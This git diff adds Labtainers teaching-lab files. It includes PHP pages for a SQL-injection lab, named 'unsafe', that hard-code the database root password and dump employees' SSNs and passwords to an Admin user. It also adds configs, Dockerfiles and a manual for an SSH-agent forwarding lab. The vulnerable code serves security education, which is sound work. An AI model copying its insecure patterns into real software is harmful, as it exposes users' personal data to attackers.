+ + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/logoff.php b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/logoff.php new file mode 100644 index 000000000..555ffe309 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/logoff.php @@ -0,0 +1,18 @@ + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/style_home.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/style_home.css new file mode 100644 index 000000000..af5231c0d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/style_home.css @@ -0,0 +1,49 @@ +label{ + display: inline-block; + float: center; + clear: center; + width: 200px; + text-align: right; +} +input { + display: inline-block; + float: center; + margin: 7; +} +body { + margin: 10; + padding: 10; + background: #F4FDE5 +} +button { + size:30px; + margin:10; +} +table { + border-collapse: collapse; + width: 100%; +} +th,td{ + text-align: left; + padding: 8px; +} +tr:nth-child(even){background-color: #C0C0C0} +.wrapper { + text-align: center; +} +.wrapperL { + text-align: left; + margin-top: 20; +} +.wrapperR { + text-align: right; +} +.buttonHolder{ + text-align: center; +} +.green { + text-align: center; + height: 300 px; + clear: both; + position: bottom; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/unsafe_credential.php b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/unsafe_credential.php new file mode 100644 index 000000000..ce28b5901 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/unsafe_credential.php @@ -0,0 +1,188 @@ + + + + + + + + + +
+

+ +

+
+ + +query($sql)) { + die('There was an error running the query [' . $conn->error . ']\n'); + } + + /* convert the select return result into array type */ + $return_arr = array(); + while($row = $result->fetch_assoc()){ + array_push($return_arr,$row); + } + + /* convert the array type to json format and read out*/ + $json_str = json_encode($return_arr); + $json_a = json_decode($json_str,true); + $id = $json_a[0]['id']; + $name = $json_a[0]['name']; + $eid = $json_a[0]['eid']; + $salary = $json_a[0]['salary']; + $birth = $json_a[0]['birth']; + $ssn = $json_a[0]['ssn']; + $phoneNumber = $json_a[0]['phoneNumber']; + $address = $json_a[0]['address']; + $email = $json_a[0]['email']; + $pwd = $json_a[0]['Password']; + $nickname = $json_a[0]['nickname']; + if($id!=""){ + drawLayout($id,$name,$eid,$salary,$birth,$ssn,$pwd,$nickname,$email,$address,$phoneNumber); + }else{ + echo "The account information your provide does not exist\n"; + return; + } + /* end change for prepared statement */ + + $conn->close(); + +function getDB() { + $dbhost="localhost"; + $dbuser="root"; + $dbpass="seedubuntu"; + $dbname="Users"; + + + // Create a DB connection + $conn = new mysqli($dbhost, $dbuser, $dbpass, $dbname); + if ($conn->connect_error) { + die("Connection failed: " . $conn->connect_error . "\n"); + } +return $conn; +} + +function drawLayout($id,$name,$eid,$salary,$birth,$ssn,$pwd,$nickname,$email,$address,$phoneNumber){ + if($id!=""){ + session_start(); + $_SESSION['id'] = $id; + $_SESSION['eid'] = $eid; + $_SESSION['name'] = $name; + $_SESSION['pwd'] = $pwd; + }else{ + echo "can not assign session"; + } + if ($name !="Admin") { + echo "

$name Profile

"; + echo ""; echo ""; echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo "
Employee ID$eid
Salary$salary
Birth$birth
SSN$ssn
NickName$nickname
Email$email
Address$address
Phone Number$phoneNumber
"; + } + else { + $conn = getDB(); + $sql = "SELECT id, name, eid, salary, birth, ssn, password, nickname, email, address, phoneNumber + FROM credential"; + if (!$result = $conn->query($sql)) { + die('There was an error running the query [' . $conn->error . ']\n'); + } + $return_arr = array(); + while($row = $result->fetch_assoc()){ + array_push($return_arr,$row); + } + $json_str = json_encode($return_arr); + $json_aa = json_decode($json_str,true); + $conn->close(); + $max = sizeof($json_aa); + for($i=0; $i< $max;$i++){ + //TODO: printout all the data for that users. + $i_id = $json_aa[$i]['id']; + $i_name= $json_aa[$i]['name']; + $i_eid= $json_aa[$i]['eid']; + $i_salary= $json_aa[$i]['salary']; + $i_birth= $json_aa[$i]['birth']; + $i_ssn= $json_aa[$i]['ssn']; + $i_pwd = $json_aa[$i]['Password']; + $i_nickname= $json_aa[$i]['nickname']; + $i_email= $json_aa[$i]['email']; + $i_address= $json_aa[$i]['address']; + $i_phoneNumber= $json_aa[$i]['phoneNumber']; + echo "

$i_name Profile

"; + echo "Employee ID: $i_eid "; + echo "salary: $i_salary "; + echo "birth: $i_birth "; + echo "ssn: $i_ssn "; + echo "nickname: $i_nickname"; + echo "email: $i_email"; + echo "address: $i_address"; + echo "phone number: $i_phoneNumber"; + } + } +} +?> + +
+

+ +

+
+ + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/unsafe_edit.php b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/unsafe_edit.php new file mode 100644 index 000000000..01da2bfc3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/unsafe_edit.php @@ -0,0 +1,53 @@ + + + + + + + +query($sql); + $conn->close(); + header("Location: unsafe_credential.php"); + exit(); + +function getDB() { + $dbhost="localhost"; + $dbuser="root"; + $dbpass="seedubuntu"; + $dbname="Users"; + + + // Create a DB connection + $conn = new mysqli($dbhost, $dbuser, $dbpass, $dbname); + if ($conn->connect_error) { + die("Connection failed: " . $conn->connect_error . "\n"); + } +return $conn; +} + +?> + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/client/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/client/_bin/treataslocal new file mode 100644 index 000000000..2cfedd4e5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/client/_bin/treataslocal @@ -0,0 +1,2 @@ +/usr/bin/ssh +ssh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/client/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/client/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/client/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/config/about.txt new file mode 100644 index 000000000..4a36f963e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/config/about.txt @@ -0,0 +1 @@ +Use of an SSH agent SSHing to remote computers without entering a passphrase for each access. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/config/start.config new file mode 100644 index 000000000..4727db373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/config/start.config @@ -0,0 +1,46 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER client + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER labtainer_xfer/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED sshlab_jkhosali_master_seed + +# SUBNETS +NETWORK LOCAL_LAN + MASK 172.20.0.0/24 + GATEWAY 172.20.0.100 + +NETWORK REMOTE_LAN + MASK 172.30.0.0/24 + GATEWAY 172.30.0.100 +# Container name and settings +CONTAINER server + USER ubuntu + LOCAL_LAN 172.20.0.3 + REMOTE_LAN 172.30.0.3 + TERMINALS 0 + ADD-HOST ritgrub:172.30.0.5 + +CONTAINER client + USER ubuntu + LOCAL_LAN 172.20.0.2 + ADD-HOST server:172.20.0.3 + +CONTAINER ritgrub + USER ubuntu + REMOTE_LAN 172.30.0.5 + TERMINALS 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/dockerfiles/Dockerfile.ssh-agent.client.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/dockerfiles/Dockerfile.ssh-agent.client.student new file mode 100644 index 000000000..c9d2bf657 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/dockerfiles/Dockerfile.ssh-agent.client.student @@ -0,0 +1,25 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/dockerfiles/Dockerfile.ssh-agent.ritgrub.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/dockerfiles/Dockerfile.ssh-agent.ritgrub.student new file mode 100644 index 000000000..9f60e5c9f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/dockerfiles/Dockerfile.ssh-agent.ritgrub.student @@ -0,0 +1,79 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +#FROM $registry/labtainer.base +FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +#RUN /usr/bin/yum-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +#USER root +#RUN systemctl enable mynotify +#RUN systemctl enable rc-local +#CMD ["/usr/sbin/init"] +# replace below with four above for centos +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/dockerfiles/Dockerfile.ssh-agent.server.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/dockerfiles/Dockerfile.ssh-agent.server.student new file mode 100644 index 000000000..c9d2bf657 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/dockerfiles/Dockerfile.ssh-agent.server.student @@ -0,0 +1,25 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/Makefile new file mode 100644 index 000000000..47690fcc6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/Makefile @@ -0,0 +1,8 @@ +ssh-agent.pdf: ssh-agent.tex header.tex + latex ssh-agent + pdflatex -jobname=ssh-agent ssh-agent + pdflatex -jobname=ssh-agent ssh-agent + +clean: + rm -fr auto + rm -f ssh-agent.aux ssh-agent.log ssh-agent.pdf ssh-agent.dvi ssh-agent.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/header.tex new file mode 100644 index 000000000..b208b177b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/header.tex @@ -0,0 +1,121 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations. + This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/read_first.txt new file mode 100644 index 000000000..20fda8328 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/ssh-agent.pdf + +You may open the manual by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/ssh-agent.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/ssh-agent.docx new file mode 100644 index 000000000..f886dd4a8 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/ssh-agent.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/ssh-agent.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/ssh-agent.jpg new file mode 100644 index 000000000..7b19836d8 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/ssh-agent.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/ssh-agent.odg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/ssh-agent.odg new file mode 100755 index 000000000..1b1cced6e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/ssh-agent.odg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/ssh-agent.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/ssh-agent.tex new file mode 100644 index 000000000..c845d96d9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/docs/ssh-agent.tex @@ -0,0 +1,153 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE SSH-Agent} +\vspace{0.1in}\\ +\end{center} + + +\section{Overview} +This lab illustrates the use of an SSH agent to manage private keys used to +authenticate to SSH services on Linux computers. The goal is to allow a user +to use SSH to securely authenticate from the client to a local server, and then from the +local server to a remote server, without providing either a password or a passphrase, +(after initial setup and initialization of an SSH Agent). + +\subsection {Background} +A previous lab, \textit{sshlab}, +illustrated the use of public and private keys for SSH authentication. This lab +will show how to protect those private keys with a passphrase, but without having +to type in the passphrase each time you wish to access a remote system. + +The student is expected to have some familiarity with the Linux command line, +the basics of the file system, and the ability to locate and edit a file. + +\section{Lab Environment} +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer ssh-agent +\end{verbatim} +\noindent A link to this lab manual will be displayed. + + +\section{Network Configuration} +This lab includes a client computer, a local server and +a remote server as shown in Figure~\ref{fig:topology}. +When the lab starts, you will get one virtual terminal connected +to the client. + + +\begin{figure}[htb] +\begin{center} +\includegraphics [width=0.8\textwidth,natwidth=621,natheight=403]{ssh-agent.jpg} +\end{center} +\caption{Network topology for the SSH-Agent lab} +\label{fig:topology} +\end{figure} + +\section{Lab Tasks} +\subsection{Explore} +Use ssh to authenticate to the local server, and then from there to the +remote server named {\tt ritgrub}. The user ID and password are ``ubuntu''. +Then use exit, twice, to return to the client's shell. + +\subsection{Generate and copy keys} +Use the ssh-keygen command to generate a public and private key pair on the client computer. +\begin{verbatim} +ssh-keygen -t rsa +\end{verbatim} +\noindent When prompted for a passphrase, provide one and make note if it. Recall +that in the {\tt sshlab}, you left the passphrase blank, which is convenient but +not very secure. + +Copy the public key to the server's {\tt authorized\_keys} file. This directs the +server's SSH service to accept proof of possession of the corresponding private key as a +basis for authenticating the user: +\begin{verbatim} +ssh-copy-id -i ~/.ssh/id_rsa.pub server +\end{verbatim} + +You should now be able to SSH from the client to the server without providing the password, +though you will be prompted for the passphrase that you provided to protect the private key. +\begin{verbatim} +ssh server +\end{verbatim} +\noindent While still in a session on the server, you will now copy your {\tt authorized\_keys} +file to the {\tt ritgrub} server. +\begin{verbatim} +scp -r ~/.ssh ritgrub:~/ +\end{verbatim} +\noindent This directs the {\tt ritgrub} server's +SSH service to accept proof of possession of the corresponding private key as a +basis for authenticating the user. Note however that the private key will never exist +on the local server. + +\subsection{Start an SSH Agent to manage your private key} +Use {\tt exit} to return to the client. +Then use these commands to start an SSH agent on the client, and provide that agent with access to your +new private key: +\begin{verbatim} +eval `ssh-agent` +ssh-add +\end{verbatim} +\noindent Note the argument to the {\tt eval} command is enclosed in back-tics (upper left on +most keyboards.) When prompted, provide the passphrase used to protect your private key. +Then SSH to the local server again. You should be able to do so without providing a passphrase. +\begin{verbatim} +ssh server +\end{verbatim} + +Accessing the {\tt ritgrub} server from the local server still requires a password, because the +local server is unable to prove that the requesting user possesses the private key. We can rectify +this by exiting from the local server back to the client, and restarting the SSH session, but with the +{\tt -A} option: +\begin{verbatim} +ssh -A server +\end{verbatim} +\noindent +This option enables forwarding of the SSH agent connection. When you SSH to a remote host that +recognizes the public key in its +\begin{verbatim} +~/.ssh/authorized\_keys +\end{verbatim} +\noindent file, the SSH agent on the client will +be used to prove possession of the private key. You should now be able to SSH from the local server to +the gitrub server without a password. Try it, and then exit back to the client. + +\subsection{Use an SSH config file to enable agent forwarding} +The SSH program references a file named +\begin{verbatim} +~/.ssh/config +\end{verbatim} +\noindent (if it exists), to get defaults and +configuration settings for each SSH session. This file can be configured so that you need not remember +to add the {\tt -A} option to the ssh command. Each entry in this file begins with a {\tt Host} line +that identifies the hostname you will use in the SSH command, and that is typically followed by a +{\tt HostName} line that includes the DNS name or IP address of that host. The entry then includes +configuration information, in our case, an indication that we want to enable agent forwarding. Such +an entry might look like: +\begin{verbatim} +Host server + HostName server + ForwardAgent yes +\end{verbatim} +\noindent +Create a {\tt config} file and demonstrate your ability to SSH from the client to the server, and +then on to the ritgrub server without passphrases, passwords, or use of an explicit {\tt -A} option. + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/instr_config/goals.config new file mode 100644 index 000000000..e1664cb41 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/instr_config/goals.config @@ -0,0 +1,11 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +# +# checking if agent connection was established +_ritgrub_prompt = boolean : ( _password_prompt_ritgrub or _password_prompt_ritgrub_name ) +_server_prompt = boolean : ( _password_prompt_server_1 or _password_prompt_server_name ) +agent_connection = boolean : ( _welcomemessage and_not (_server_prompt or _ritgrub_prompt or _password_prompt_keys)) +# checking if agent connection was established without the use of ssh -A +config_file = boolean : ( _welcomemessage and_not (_server_prompt or _ritgrub_prompt or _password_prompt_keys or _no_sshA)) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/instr_config/results.config new file mode 100644 index 000000000..a2faeb198 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/instr_config/results.config @@ -0,0 +1,10 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +_welcomemessage = client:ssh.stdout : CONTAINS : Welcome to ritgrub @172.30.0.5 +_password_prompt_ritgrub = client:ssh.stdout : CONTAINS : ubuntu@172.30.0.5's password: +_password_prompt_server_1 = client:ssh.stdout : CONTAINS : ubuntu@172.20.0.3's password: +_password_prompt_ritgrub_name = client:ssh.stdout : CONTAINS : ubuntu@ritgrub's password: +_password_prompt_server_name = client:ssh.stdout : CONTAINS : ubuntu@server's password: +_password_prompt_keys = client:ssh.stdout : CONTAINS : Enter passphrase for key +_no_sshA = client:ssh.stdin : CONTAINS : ssh -A diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/init.d/mynotify.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/init.d/mynotify.sh new file mode 100755 index 000000000..e68e5fd5f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/init.d/mynotify.sh @@ -0,0 +1,61 @@ +#!/bin/sh + +### BEGIN INIT INFO +# Provides: mynotify +# Required-Start: $syslog +# Required-Stop: $syslog +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: Put a short description of the service here +# Description: Put a long description of the service here +### END INIT INFO + +# Change the next 3 lines to suit where you install your script and what you want to call it +DIR=/sbin +DAEMON=$DIR/mynotify.py +DAEMON_NAME=mynotify + +# Add any command line options for your daemon here +DAEMON_OPTS="" + +# This next line determines what user the script runs as. +DAEMON_USER=root + +# The process ID of the script when it runs is stored here: +PIDFILE=/var/run/$DAEMON_NAME.pid + +. /lib/lsb/init-functions + +do_start () { + log_daemon_msg "Starting system $DAEMON_NAME daemon" + start-stop-daemon --start --background --pidfile $PIDFILE --make-pidfile -d $DIR --user $DAEMON_USER --chuid $DAEMON_USER --startas $DAEMON -- $DAEMON_OPTS + log_end_msg $? +} +do_stop () { + log_daemon_msg "Stopping system $DAEMON_NAME daemon" + start-stop-daemon --stop --pidfile $PIDFILE --retry 10 + log_end_msg $? +} + +case "$1" in + + start|stop) + do_${1} + ;; + + restart|reload|force-reload) + do_stop + do_start + ;; + + status) + status_of_proc "$DAEMON_NAME" "$DAEMON" && exit 0 || exit $? + ;; + + *) + echo "Usage: /etc/init.d/$DAEMON_NAME {start|stop|restart|status}" + exit 1 + ;; + +esac +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/login.defs 